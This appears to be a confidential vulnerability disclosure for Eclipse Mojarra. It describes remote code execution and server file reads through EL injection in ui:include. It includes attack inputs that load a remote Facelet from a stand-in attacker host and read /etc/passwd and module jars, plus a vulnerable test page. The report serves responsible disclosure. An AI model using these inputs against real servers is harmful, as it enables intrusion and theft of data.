[Eclipse Mojarra] Unauthenticated RCE in EAP JSF applications via EL injection in ui:include
## Basic information
**Project name:** Eclipse Mojarra
**Project id:** ee4j.mojarra
## What are the affected versions?
- 4.0
- 4.1
- 5.0
## Details of the issue
`DefaultFaceletFactory.resolveURL(URL source, String path)` resolves the `src` attribute of a `<ui:include>` (and `<ui:composition template>`, `<ui:decorate template>`) tag.
If `path` does not start with `/`, it is handed straight to `new URL(base, spec)`. The two-arg `URL` constructor honours an **absolute spec**: if `path` is `http://attacker/x.xhtml`, `file:///etc/passwd`, or `jar:file:///opt/eap/...!/META-INF/...`, the base is discarded and the attacker URL is returned verbatim. The factory then opens the stream, parses the bytes as a Facelet, **compiles it, and executes it server-side** — including every `#{…}` EL expression it contains, with full access to the implicit `facesContext` → `ExternalContext` → classloader / `Runtime`.
The result is two attacks from one root cause:
- **Variant A — remote-Facelet RCE.** `?p=http://attacker.example/rce.xhtml` (or `https://`, `ftp://`). Server fetches the attacker's Facelet over the network and EL-evaluates it.
- **Variant B — `file://` / `jar:file://` `?p=file:///etc/passwd` reads any server file. Non-XML targets fail to compile but the `SAXParseException` quotes the first content line into the rendered error/log; well-formed XML targets (Spring/JSF/JBoss `*.xml`, keystores wrapped in XML) render directly. `jar:file:///opt/eap/modules/.../some.jar!/META-INF/…` reaches inside module jars.
## Steps to reproduce
Add this file a Faces application:
```
<!DOCTYPE html>
<html lang="en"
xmlns:h="jakarta.faces.html"
xmlns:f="jakarta.faces.core"
xmlns:ui="jakarta.faces.facelets"
>
<h:body>
<h1>param test</h1>
<ui:include src="#{param.p}" />
</h:body>
</html>
```
Then request (for example) `param.jsf?p=https://raw.githubusercontent.com/eclipse-ee4j/mojarra/refs/heads/4.0/test/issue5059/src/main/webapp/issue5059include.xhtml'
## Do you know any mitigations of the issue?
None that do not break application functionality.
<!--
Please, do not remove the line below. It will create a confidential issue that will be visible
only to you and the members of this project. Confidential issues are used to keep security
vulnerabilities private until they are sorted out.
Eclipse Projects follow Responsible Disclosure best practices: the initial report is made privately,
but with the full details being published once a patch has been made available (sometimes with
a delay to allow more time for the patches to be installed).
-->
issue